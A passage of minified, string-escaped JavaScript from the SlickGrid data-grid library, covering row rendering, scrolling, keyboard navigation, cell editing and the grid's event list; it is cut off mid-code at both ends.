resizeCanvas(){initialized&&(viewportH=options.autoHeight?options.rowHeight*getDataLengthIncludingAddNew():getViewportHeight(),numVisibleRows=Math.ceil(viewportH/options.rowHeight),viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),options.autoHeight||$viewport.height(viewportH),options.forceFitColumns&&autosizeColumns(),updateRowCount(),handleScroll(),lastRenderedScrollLeft=-1,render())}function updatePagingStatusFromView(e){pagingActive=0!==e.pageSize,pagingIsLastPage=e.pageNum==e.totalPages-1}function updateRowCount(){if(initialized){var e=getDataLength(),t=getDataLengthIncludingAddNew(),o=t+(options.leaveSpaceForNewRows?numVisibleRows-1:0),r=viewportHasVScroll;viewportHasVScroll=!options.autoHeight&&o*options.rowHeight>viewportH,viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width,makeActiveCellNormal();var i=e-1;for(var l in rowsCache)i<l&&removeRowFromCache(l);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup(),activeCellNode&&i<activeRow&&resetActiveCell();var s=h;(th=Math.max(options.rowHeight*o,viewportH-scrollbarDimensions.height))<maxSupportedCssHeight?(h=ph=th,n=1,cj=0):(ph=(h=maxSupportedCssHeight)/100,n=Math.floor(th/ph),cj=(th-h)/(n-1)),h!==s&&($canvas.css(\\\"height\\\",h),scrollTop=$viewport[0].scrollTop);var a=scrollTop+offset<=th-viewportH;0==th||0==scrollTop?page=offset=0:scrollTo(a?scrollTop+offset:th-viewportH),h!=s&&options.autoHeight&&resizeCanvas(),options.forceFitColumns&&r!=viewportHasVScroll&&autosizeColumns(),updateCanvasWidth(!1)}}function getVisibleRange(e,t){return null==e&&(e=scrollTop),null==t&&(t=scrollLeft),{top:getRowFromPosition(e),bottom:getRowFromPosition(e+viewportH)+1,leftPx:t,rightPx:t+viewportW}}function getRenderedRange(e,t){var n=getVisibleRange(e,t),o=Math.round(viewportH/options.rowHeight);return-1==vScrollDir?(n.top-=o,n.bottom+=3):1==vScrollDir?(n.top-=3,n.bottom+=o):(n.top-=3,n.bottom+=3),n.top=Math.max(0,n.top),n.bottom=Math.min(getDataLengthIncludingAddNew()-1,n.bottom),n.leftPx-=viewportW,n.rightPx+=viewportW,n.leftPx=Math.max(0,n.leftPx),n.rightPx=Math.min(canvasWidth,n.rightPx),n}function ensureCellNodesInRowsCache(e){var t=rowsCache[e];if(t&&t.cellRenderQueue.length)for(var n=t.rowNode.lastChild;t.cellRenderQueue.length;){var o=t.cellRenderQueue.pop();n=(t.cellNodesByColumnIdx[o]=n).previousSibling}}function cleanUpCells(e,t){var n,o,r=rowsCache[t],i=[];for(var l in r.cellNodesByColumnIdx)if(r.cellNodesByColumnIdx.hasOwnProperty(l)){l|=0;var s=r.cellColSpans[l];(columnPosLeft[l]>e.rightPx||columnPosRight[Math.min(columns.length-1,l+s-1)]<e.leftPx)&&(t==activeRow&&l==activeCell||i.push(l))}for(postProcessgroupId++;null!=(n=i.pop());)o=r.cellNodesByColumnIdx[n],options.enableAsyncPostRenderCleanup&&postProcessedRows[t]&&postProcessedRows[t][n]?queuePostProcessedCellForCleanup(o,n,t):r.rowNode.removeChild(o),delete r.cellColSpans[n],delete r.cellNodesByColumnIdx[n],postProcessedRows[t]&&delete postProcessedRows[t][n],0}function cleanUpAndRenderCells(e){for(var t,n,o,r=[],i=[],l=e.top,s=e.bottom;l<=s;l++)if(t=rowsCache[l]){ensureCellNodesInRowsCache(l),cleanUpCells(e,l),n=0;var a=data.getItemMetadata&&data.getItemMetadata(l);a=a&&a.columns;for(var c=getDataItem(l),u=0,d=columns.length;u<d&&!(columnPosLeft[u]>e.rightPx);u++)if(null==(o=t.cellColSpans[u])){if(o=1,a){var p=a[columns[u].id]||a[u];\\\"*\\\"===(o=p&&p.colspan||1)&&(o=d-u)}columnPosRight[Math.min(d-1,u+o-1)]>e.leftPx&&(appendCellHtml(r,l,u,o,c),n++),u+=1<o?o-1:0}else u+=1<o?o-1:0;n&&(n,i.push(l))}if(r.length){var f,h,g=document.createElement(\\\"div\\\");for(g.innerHTML=r.join(\\\"\\\");null!=(f=i.pop());){var m;for(t=rowsCache[f];null!=(m=t.cellRenderQueue.pop());)h=g.lastChild,t.rowNode.appendChild(h),t.cellNodesByColumnIdx[m]=h}}}function renderRows(e){for(var t=$canvas[0],n=[],o=[],r=!1,i=getDataLength(),l=e.top,s=e.bottom;l<=s;l++)rowsCache[l]||(renderedRows++,o.push(l),rowsCache[l]={rowNode:null,cellColSpans:[],cellNodesByColumnIdx:[],cellRenderQueue:[]},appendRowHtml(n,l,e,i),activeCellNode&&activeRow===l&&(r=!0),counter_rows_rendered++);if(o.length){var a=document.createElement(\\\"div\\\");a.innerHTML=n.join(\\\"\\\");for(var l=0,s=o.length;l<s;l++)rowsCache[o[l]].rowNode=t.appendChild(a.firstChild);r&&(activeCellNode=getCellNode(activeRow,activeCell))}}function startPostProcessing(){options.enableAsyncPostRender&&(clearTimeout(h_postrender),h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}function startPostProcessingCleanup(){options.enableAsyncPostRenderCleanup&&(clearTimeout(h_postrenderCleanup),h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay))}function invalidatePostProcessingResults(e){for(var t in postProcessedRows[e])postProcessedRows[e].hasOwnProperty(t)&&(postProcessedRows[e][t]=\\\"C\\\");postProcessFromRow=Math.min(postProcessFromRow,e),postProcessToRow=Math.max(postProcessToRow,e),startPostProcessing()}function updateRowPositions(){for(var e in rowsCache)rowsCache[e].rowNode.style.top=getRowTop(e)+\\\"px\\\"}function render(){if(initialized){var e=getVisibleRange(),t=getRenderedRange();cleanupRows(t),lastRenderedScrollLeft!=scrollLeft&&cleanUpAndRenderCells(t),renderRows(t),postProcessFromRow=e.top,postProcessToRow=Math.min(getDataLengthIncludingAddNew()-1,e.bottom),startPostProcessing(),lastRenderedScrollTop=scrollTop,lastRenderedScrollLeft=scrollLeft,h_render=null}}function handleHeaderRowScroll(){var e=$headerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleFooterRowScroll(){var e=$footerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handlePreHeaderPanelScroll(){var e=$preHeaderPanelScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleScroll(){scrollTop=$viewport[0].scrollTop,scrollLeft=$viewport[0].scrollLeft;var e=Math.abs(scrollTop-prevScrollTop),t=Math.abs(scrollLeft-prevScrollLeft);if(t&&(prevScrollLeft=scrollLeft,$headerScroller[0].scrollLeft=scrollLeft,$topPanelScroller[0].scrollLeft=scrollLeft,$headerRowScroller[0].scrollLeft=scrollLeft,options.createFooterRow&&($footerRowScroller[0].scrollLeft=scrollLeft),options.createPreHeaderPanel&&($preHeaderPanelScroller[0].scrollLeft=scrollLeft)),e)if(vScrollDir=prevScrollTop<scrollTop?1:-1,prevScrollTop=scrollTop,e<viewportH)scrollTo(scrollTop+offset);else{var o=offset;page=h==viewportH?0:Math.min(n-1,Math.floor(scrollTop*((th-viewportH)/(h-viewportH))*(1/ph))),offset=Math.round(page*cj),o!=offset&&invalidateAllRows()}(t||e)&&(h_render&&clearTimeout(h_render),(20<Math.abs(lastRenderedScrollTop-scrollTop)||20<Math.abs(lastRenderedScrollLeft-scrollLeft))&&(options.forceSyncScrolling||Math.abs(lastRenderedScrollTop-scrollTop)<viewportH&&Math.abs(lastRenderedScrollLeft-scrollLeft)<viewportW?render():h_render=setTimeout(render,50),trigger(self.onViewportChanged,{grid:self}))),trigger(self.onScroll,{scrollLeft:scrollLeft,scrollTop:scrollTop,grid:self})}function asyncPostProcessRows(){for(var e=getDataLength();postProcessFromRow<=postProcessToRow;){var t=0<=vScrollDir?postProcessFromRow++:postProcessToRow--,n=rowsCache[t];if(n&&!(e<=t)){for(var o in postProcessedRows[t]||(postProcessedRows[t]={}),ensureCellNodesInRowsCache(t),n.cellNodesByColumnIdx)if(n.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=postProcessedRows[t][o];if(r.asyncPostRender&&\\\"R\\\"!==i){var l=n.cellNodesByColumnIdx[o];l&&r.asyncPostRender(l,t,getDataItem(t),r,\\\"C\\\"===i),postProcessedRows[t][o]=\\\"R\\\"}}return void(h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}}}function asyncPostProcessCleanupRows(){if(0<postProcessedCleanupQueue.length){for(var e=postProcessedCleanupQueue[0].groupId;0<postProcessedCleanupQueue.length&&postProcessedCleanupQueue[0].groupId==e;){var t=postProcessedCleanupQueue.shift();if(\\\"R\\\"==t.actionType&&$(t.node).remove(),\\\"C\\\"==t.actionType){var n=columns[t.columnIdx];n.asyncPostRenderCleanup&&t.node&&n.asyncPostRenderCleanup(t.node,t.rowIdx,n)}}h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay)}}function updateCellCssStylesOnRenderedRows(e,t){var n,o,r,i;for(var l in rowsCache){if(i=t&&t[l],r=e&&e[l],i)for(o in i)r&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).removeClass(i[o]);if(r)for(o in r)i&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).addClass(r[o])}}function addCellCssStyles(e,t){if(cellCssClasses[e])throw new Error(\\\"addCellCssStyles: cell CSS hash with key '\\\"+e+\\\"' already exists.\\\");updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,null),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function removeCellCssStyles(e){cellCssClasses[e]&&(updateCellCssStylesOnRenderedRows(null,cellCssClasses[e]),delete cellCssClasses[e],trigger(self.onCellCssStylesChanged,{key:e,hash:null,grid:self}))}function setCellCssStyles(e,t){var n=cellCssClasses[e];updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,n),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function getCellCssStyles(e){return cellCssClasses[e]}function flashCell(e,t,n){if(n=n||100,rowsCache[e]){var o=$(getCellNode(e,t)),r=function(e){e&&setTimeout(function(){o.queue(function(){o.toggleClass(options.cellFlashingCssClass).dequeue(),r(e-1)})},n)};r(4)}}function handleMouseWheel(e){var t=$(e.target).closest(\\\".slick-row\\\")[0];t!=rowNodeFromLastMouseWheelEvent&&(zombieRowNodeFromLastMouseWheelEvent&&zombieRowNodeFromLastMouseWheelEvent!=t&&(options.enableAsyncPostRenderCleanup&&zombieRowPostProcessedFromLastMouseWheelEvent?queuePostProcessedRowForCleanup(zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent):$canvas[0].removeChild(zombieRowNodeFromLastMouseWheelEvent),zombieRowPostProcessedFromLastMouseWheelEvent=zombieRowCacheFromLastMouseWheelEvent=zombieRowNodeFromLastMouseWheelEvent=null,options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()),rowNodeFromLastMouseWheelEvent=t)}function handleDragInit(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragInit,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDragStart(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragStart,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDrag(e,t){return trigger(self.onDrag,t,e)}function handleDragEnd(e,t){trigger(self.onDragEnd,t,e)}function handleKeyDown(e){trigger(self.onKeyDown,{row:activeRow,cell:activeCell,grid:self},e);var t=e.isImmediatePropagationStopped(),n=Slick.keyCode;if(!t)if(e.shiftKey||e.altKey||e.ctrlKey)e.which!=n.TAB||!e.shiftKey||e.ctrlKey||e.altKey||(t=navigatePrev());else{if(options.editable&&currentEditor&&currentEditor.keyCaptureList&&-1<currentEditor.keyCaptureList.indexOf(e.which))return;if(e.which==n.ESCAPE){if(!getEditorLock().isActive())return;cancelEditAndSetFocus()}else e.which==n.PAGE_DOWN?(navigatePageDown(),t=!0):e.which==n.PAGE_UP?(navigatePageUp(),t=!0):e.which==n.LEFT?t=navigateLeft():e.which==n.RIGHT?t=navigateRight():e.which==n.UP?t=navigateUp():e.which==n.DOWN?t=navigateDown():e.which==n.TAB?t=navigateNext():e.which==n.ENTER&&(options.editable&&(currentEditor?activeRow===getDataLength()?navigateDown():commitEditAndSetFocus():getEditorLock().commitCurrentEdit()&&makeActiveCellEditable()),t=!0)}if(t){e.stopPropagation(),e.preventDefault();try{e.originalEvent.keyCode=0}catch(e){}}}function handleClick(e){currentEditor||(e.target!=document.activeElement||$(e.target).hasClass(\\\"slick-cell\\\"))&&setFocus();var t=getCellFromEvent(e);if(t&&(null===currentEditor||activeRow!=t.row||activeCell!=t.cell)&&(trigger(self.onClick,{row:t.row,cell:t.cell,grid:self},e),!e.isImmediatePropagationStopped()&&canCellBeActive(t.row,t.cell)&&(!getEditorLock().isActive()||getEditorLock().commitCurrentEdit()))){scrollRowIntoView(t.row,!1);var n=e.target&&e.target.className===Slick.preClickClassName;setActiveCellInternal(getCellNode(t.row,t.cell),null,n)}}function handleContextMenu(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);0!==t.length&&(activeCellNode===t[0]&&null!==currentEditor||trigger(self.onContextMenu,{grid:self},e))}function handleDblClick(e){var t=getCellFromEvent(e);!t||null!==currentEditor&&activeRow==t.row&&activeCell==t.cell||(trigger(self.onDblClick,{row:t.row,cell:t.cell,grid:self},e),e.isImmediatePropagationStopped()||options.editable&&gotoCell(t.row,t.cell,!0))}function handleHeaderMouseEnter(e){trigger(self.onHeaderMouseEnter,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderMouseLeave(e){trigger(self.onHeaderMouseLeave,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderContextMenu(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");trigger(self.onHeaderContextMenu,{column:n,grid:self},e)}function handleHeaderClick(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");n&&trigger(self.onHeaderClick,{column:n,grid:self},e)}function handleMouseEnter(e){trigger(self.onMouseEnter,{grid:self},e)}function handleMouseLeave(e){trigger(self.onMouseLeave,{grid:self},e)}function cellExists(e,t){return!(e<0||e>=getDataLength()||t<0||t>=columns.length)}function getCellFromPoint(e,t){for(var n=getRowFromPosition(t),o=0,r=0,i=0;i<columns.length&&r<e;i++)r+=columns[i].width,o++;return o<0&&(o=0),{row:n,cell:o-1}}function getCellFromNode(e){var t=/l\\\\d+/.exec(e.className);if(!t)throw new Error(\\\"getCellFromNode: cannot get cell - \\\"+e.className);return parseInt(t[0].substr(1,t[0].length-1),10)}function getRowFromNode(e){for(var t in rowsCache)if(rowsCache[t].rowNode===e)return 0|t;return null}function getCellFromEvent(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);if(!t.length)return null;var n=getRowFromNode(t[0].parentNode),o=getCellFromNode(t[0]);return null==n||null==o?null:{row:n,cell:o}}function getCellNodeBox(e,t){if(!cellExists(e,t))return null;for(var n=getRowTop(e),o=n+options.rowHeight-1,r=0,i=0;i<t;i++)r+=columns[i].width;var l=r+columns[t].width;return{top:n,left:r,bottom:o,right:l}}function resetActiveCell(){setActiveCellInternal(null,!1)}function setFocus(){-1==tabbingDirection?$focusSink[0].focus():$focusSink2[0].focus()}function scrollCellIntoView(e,t,n){scrollRowIntoView(e,n);var o=getColspan(e,t);internalScrollColumnIntoView(columnPosLeft[t],columnPosRight[t+(1<o?o-1:0)])}function internalScrollColumnIntoView(e,t){var n=scrollLeft+viewportW;e<scrollLeft?($viewport.scrollLeft(e),handleScroll(),render()):n<t&&($viewport.scrollLeft(Math.min(e,t-$viewport[0].clientWidth)),handleScroll(),render())}function scrollColumnIntoView(e){internalScrollColumnIntoView(columnPosLeft[e],columnPosRight[e])}function setActiveCellInternal(e,t,n,o){null!==activeCellNode&&(makeActiveCellNormal(),$(activeCellNode).removeClass(\\\"active\\\"),rowsCache[activeRow]&&$(rowsCache[activeRow].rowNode).removeClass(\\\"active\\\"));null!=(activeCellNode=e)?(activeRow=getRowFromNode(activeCellNode.parentNode),activeCell=activePosX=getCellFromNode(activeCellNode),null==t&&(t=activeRow==getDataLength()||options.autoEdit),options.showCellSelection&&($(activeCellNode).addClass(\\\"active\\\"),$(rowsCache[activeRow].rowNode).addClass(\\\"active\\\")),options.editable&&t&&isCellPotentiallyEditable(activeRow,activeCell)&&(clearTimeout(h_editorLoader),options.asyncEditorLoading?h_editorLoader=setTimeout(function(){makeActiveCellEditable(void 0,n)},options.asyncEditorLoadDelay):makeActiveCellEditable(void 0,n))):activeRow=activeCell=null,o||trigger(self.onActiveCellChanged,getActiveCell())}function clearTextSelection(){if(document.selection&&document.selection.empty)try{document.selection.empty()}catch(e){}else if(window.getSelection){var e=window.getSelection();e&&e.removeAllRanges&&e.removeAllRanges()}}function isCellPotentiallyEditable(e,t){var n=getDataLength();return!(e<n&&!getDataItem(e))&&(!(columns[t].cannotTriggerInsert&&n<=e)&&!!getEditor(e,t))}function makeActiveCellNormal(){if(currentEditor){if(trigger(self.onBeforeCellEditorDestroy,{editor:currentEditor,grid:self}),currentEditor.destroy(),currentEditor=null,activeCellNode){var e=getDataItem(activeRow);if($(activeCellNode).removeClass(\\\"editable invalid\\\"),e){var t=columns[activeCell],n=getFormatter(activeRow,t),o=n(activeRow,activeCell,getDataItemValueForColumn(e,t),t,e,self);applyFormatResultToCellNode(o,activeCellNode),invalidatePostProcessingResults(activeRow)}}navigator.userAgent.toLowerCase().match(/msie/)&&clearTextSelection(),getEditorLock().deactivate(editController)}}function makeActiveCellEditable(e,t){if(activeCellNode){if(!options.editable)throw new Error(\\\"Grid : makeActiveCellEditable : should never get called when options.editable is false\\\");if(clearTimeout(h_editorLoader),isCellPotentiallyEditable(activeRow,activeCell)){var n=columns[activeCell],o=getDataItem(activeRow);if(!1!==trigger(self.onBeforeEditCell,{row:activeRow,cell:activeCell,item:o,column:n,grid:self})){getEditorLock().activate(editController),$(activeCellNode).addClass(\\\"editable\\\");var r=e||getEditor(activeRow,activeCell);e||r.suppressClearOnEdit||(activeCellNode.innerHTML=\\\"\\\"),currentEditor=new r({grid:self,gridPosition:absBox($container[0]),position:absBox(activeCellNode),container:activeCellNode,column:n,item:o||{},commitChanges:commitEditAndSetFocus,cancelChanges:cancelEditAndSetFocus}),o&&(currentEditor.loadValue(o),t&&currentEditor.preClick&&currentEditor.preClick()),serializedEditorValue=currentEditor.serializeValue(),currentEditor.position&&handleActiveCellPositionChange()}else setFocus()}}}function commitEditAndSetFocus(){getEditorLock().commitCurrentEdit()&&(setFocus(),options.autoEdit&&navigateDown())}function cancelEditAndSetFocus(){getEditorLock().cancelCurrentEdit()&&setFocus()}function absBox(e){var t={top:e.offsetTop,left:e.offsetLeft,bottom:0,right:0,width:$(e).outerWidth(),height:$(e).outerHeight(),visible:!0};t.bottom=t.top+t.height,t.right=t.left+t.width;for(var n=e.offsetParent;(e=e.parentNode)!=document.body&&null!=e;)t.visible&&e.scrollHeight!=e.offsetHeight&&\\\"visible\\\"!=$(e).css(\\\"overflowY\\\")&&(t.visible=t.bottom>e.scrollTop&&t.top<e.scrollTop+e.clientHeight),t.visible&&e.scrollWidth!=e.offsetWidth&&\\\"visible\\\"!=$(e).css(\\\"overflowX\\\")&&(t.visible=t.right>e.scrollLeft&&t.left<e.scrollLeft+e.clientWidth),t.left-=e.scrollLeft,t.top-=e.scrollTop,e===n&&(t.left+=e.offsetLeft,t.top+=e.offsetTop,n=e.offsetParent),t.bottom=t.top+t.height,t.right=t.left+t.width;return t}function getActiveCellPosition(){return absBox(activeCellNode)}function getGridPosition(){return absBox($container[0])}function handleActiveCellPositionChange(){if(activeCellNode&&(trigger(self.onActiveCellPositionChanged,{grid:self}),currentEditor)){var e=getActiveCellPosition();currentEditor.show&&currentEditor.hide&&(e.visible?currentEditor.show():currentEditor.hide()),currentEditor.position&&currentEditor.position(e)}}function getCellEditor(){return currentEditor}function getActiveCell(){return activeCellNode?{row:activeRow,cell:activeCell,grid:self}:null}function getActiveCellNode(){return activeCellNode}function scrollRowIntoView(e,t){var n=e*options.rowHeight,o=(e+1)*options.rowHeight-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0);(e+1)*options.rowHeight>scrollTop+viewportH+offset?(scrollTo(t?n:o),render()):e*options.rowHeight<scrollTop+offset&&(scrollTo(t?o:n),render())}function scrollRowToTop(e){scrollTo(e*options.rowHeight),render()}function scrollPage(e){var t=e*numVisibleRows;if(scrollTo((getRowFromPosition(scrollTop)+t)*options.rowHeight),render(),options.enableCellNavigation&&null!=activeRow){var n=activeRow+t,o=getDataLengthIncludingAddNew();o<=n&&(n=o-1),n<0&&(n=0);for(var r=0,i=null,l=activePosX;r<=activePosX;)canCellBeActive(n,r)&&(i=r),r+=getColspan(n,r);null!==i?(setActiveCellInternal(getCellNode(n,i)),activePosX=l):resetActiveCell()}}function navigatePageDown(){scrollPage(1)}function navigatePageUp(){scrollPage(-1)}function getColspan(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e);if(!n||!n.columns)return 1;var o=n.columns[columns[t].id]||n.columns[t],r=o&&o.colspan;return r=\\\"*\\\"===r?columns.length-t:r||1}function findFirstFocusableCell(e){for(var t=0;t<columns.length;){if(canCellBeActive(e,t))return t;t+=getColspan(e,t)}return null}function findLastFocusableCell(e){for(var t=0,n=null;t<columns.length;)canCellBeActive(e,t)&&(n=t),t+=getColspan(e,t);return n}function gotoRight(e,t,n){if(t>=columns.length)return null;for(;(t+=getColspan(e,t))<columns.length&&!canCellBeActive(e,t););return t<columns.length?{row:e,cell:t,posX:t}:null}function gotoLeft(e,t,n){if(t<=0)return null;var o=findFirstFocusableCell(e);if(null===o||t<=o)return null;for(var r,i={row:e,cell:o,posX:o};;){if(!(r=gotoRight(i.row,i.cell,i.posX)))return null;if(r.cell>=t)return i;i=r}}function gotoDown(e,t,n){for(var o,r=getDataLengthIncludingAddNew();;){if(++e>=r)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoUp(e,t,n){for(var o;;){if(--e<0)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoNext(e,t,n){if(null==e&&null==t&&canCellBeActive(e=t=n=0,t))return{row:e,cell:t,posX:t};var o=gotoRight(e,t,n);if(o)return o;var r=null,i=getDataLengthIncludingAddNew();for(e===i-1&&e--;++e<i;)if(null!==(r=findFirstFocusableCell(e)))return{row:e,cell:r,posX:r};return null}function gotoPrev(e,t,n){if(null==e&&null==t&&(e=getDataLengthIncludingAddNew()-1,t=n=columns.length-1,canCellBeActive(e,t)))return{row:e,cell:t,posX:t};for(var o,r;!o&&!(o=gotoLeft(e,t,n));){if(--e<0)return null;t=0,null!==(r=findLastFocusableCell(e))&&(o={row:e,cell:r,posX:r})}return o}function navigateRight(){return navigate(\\\"right\\\")}function navigateLeft(){return navigate(\\\"left\\\")}function navigateDown(){return navigate(\\\"down\\\")}function navigateUp(){return navigate(\\\"up\\\")}function navigateNext(){return navigate(\\\"next\\\")}function navigatePrev(){return navigate(\\\"prev\\\")}function navigate(e){if(!options.enableCellNavigation)return!1;if(!activeCellNode&&\\\"prev\\\"!=e&&\\\"next\\\"!=e)return!1;if(!getEditorLock().commitCurrentEdit())return!0;setFocus();tabbingDirection={up:-1,down:1,left:-1,right:1,prev:-1,next:1}[e];var t={up:gotoUp,down:gotoDown,left:gotoLeft,right:gotoRight,prev:gotoPrev,next:gotoNext},n=t[e],o=n(activeRow,activeCell,activePosX);if(o){var r=o.row==getDataLength();return scrollCellIntoView(o.row,o.cell,!r),setActiveCellInternal(getCellNode(o.row,o.cell)),activePosX=o.posX,!0}return setActiveCellInternal(getCellNode(activeRow,activeCell)),!1}function getCellNode(e,t){return rowsCache[e]?(ensureCellNodesInRowsCache(e),rowsCache[e].cellNodesByColumnIdx[t]):null}function setActiveCell(e,t,n,o,r){initialized&&(e>getDataLength()||e<0||t>=columns.length||t<0||options.enableCellNavigation&&(scrollCellIntoView(e,t,!1),setActiveCellInternal(getCellNode(e,t),n,o,r)))}function canCellBeActive(e,t){if(!options.enableCellNavigation||e>=getDataLengthIncludingAddNew()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.focusable)return n.focusable;var o=n&&n.columns;return o&&o[columns[t].id]&&\\\"boolean\\\"==typeof o[columns[t].id].focusable?o[columns[t].id].focusable:o&&o[t]&&\\\"boolean\\\"==typeof o[t].focusable?o[t].focusable:columns[t].focusable}function canCellBeSelected(e,t){if(e>=getDataLength()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.selectable)return n.selectable;var o=n&&n.columns&&(n.columns[columns[t].id]||n.columns[t]);return o&&\\\"boolean\\\"==typeof o.selectable?o.selectable:columns[t].selectable}function gotoCell(e,t,n){if(initialized&&canCellBeActive(e,t)&&getEditorLock().commitCurrentEdit()){scrollCellIntoView(e,t,!1);var o=getCellNode(e,t);setActiveCellInternal(o,n||e===getDataLength()||options.autoEdit),currentEditor||setFocus()}}function commitCurrentEdit(){var e=getDataItem(activeRow),t=columns[activeCell];if(currentEditor){if(currentEditor.isValueChanged()){var n=currentEditor.validate();if(n.valid){if(activeRow<getDataLength()){var o={row:activeRow,cell:activeCell,editor:currentEditor,serializedValue:currentEditor.serializeValue(),prevSerializedValue:serializedEditorValue,execute:function(){this.editor.applyValue(e,this.serializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})},undo:function(){this.editor.applyValue(e,this.prevSerializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})}};options.editCommandHandler?(makeActiveCellNormal(),options.editCommandHandler(e,t,o)):(o.execute(),makeActiveCellNormal())}else{var r={};currentEditor.applyValue(r,currentEditor.serializeValue()),makeActiveCellNormal(),trigger(self.onAddNewRow,{item:r,column:t,grid:self})}return!getEditorLock().isActive()}return $(activeCellNode).removeClass(\\\"invalid\\\"),$(activeCellNode).width(),$(activeCellNode).addClass(\\\"invalid\\\"),trigger(self.onValidationError,{editor:currentEditor,cellNode:activeCellNode,validationResults:n,row:activeRow,cell:activeCell,column:t,grid:self}),currentEditor.focus(),!1}makeActiveCellNormal()}return!0}function cancelCurrentEdit(){return makeActiveCellNormal(),!0}function rowsToRanges(e){for(var t=[],n=columns.length-1,o=0;o<e.length;o++)t.push(new Slick.Range(e[o],0,e[o],n));return t}function getSelectedRows(){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");return selectedRows}function setSelectedRows(e){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");selectionModel.setSelectedRanges(rowsToRanges(e))}this.debug=function(){var e=\\\"\\\";e+=\\\"\\\\ncounter_rows_rendered:  \\\"+counter_rows_rendered,e+=\\\"\\\\ncounter_rows_removed:  \\\"+counter_rows_removed,e+=\\\"\\\\nrenderedRows:  \\\"+renderedRows,e+=\\\"\\\\nnumVisibleRows:  \\\"+numVisibleRows,e+=\\\"\\\\nmaxSupportedCssHeight:  \\\"+maxSupportedCssHeight,e+=\\\"\\\\nn(umber of pages):  \\\"+n,e+=\\\"\\\\n(current) page:  \\\"+page,e+=\\\"\\\\npage height (ph):  \\\"+ph,e+=\\\"\\\\nvScrollDir:  \\\"+vScrollDir,alert(e)},this.eval=function(expr){return eval(expr)},$.extend(this,{slickGridVersion:\\\"2.3.4\\\",onScroll:new Slick.Event,onSort:new Slick.Event,onHeaderMouseEnter:new Slick.Event,onHeaderMouseLeave:new Slick.Event,onHeaderContextMenu:new Slick.Event,onHeaderClick:new Slick.Event,onHeaderCellRendered:new Slick.Event,onBeforeHeaderCellDestroy:new Slick.Event,onHeaderRowCellRendered:new Slick.Event,onFooterRowCellRendered:new Slick.Event,onBeforeHeaderRowCellDestroy:new Slick.Event,onBeforeFooterRowCellDestroy:new Slick.Event,onMouseEnter:new Slick.Event,onMouseLeave:new Slick.Event,onClick:new Slick.Event,onDblClick:new Slick.Event,onContextMenu:new Slick.Event,onKeyDown:new Slick.Event,onAddNewRow:new Slick.Event,onBeforeAppendCell:new Slick.Event,onValidationError:new Slick.Event,onViewportChanged:new Slick.Event,onColumnsReordered:new Slick.Event,onColumnsResized:new Slick.Event,onCellChange:new Slick.Event,onBeforeEditCell:new Slick.Event,onBeforeCellEditorDestroy:new Slick.Event,onBeforeDestroy:new Slick.Event,onActiveCellChanged:new Slick.Event,onActiveCellPositionChanged:new Slick.Event,onDragInit:new Slick.Event,onDragStart:new Slick.Event,onDrag:new Slick.Event,onDragEnd:new Slick.Event,onSelectedRowsChanged:new Slick.Event,onCellCssStylesChanged:new 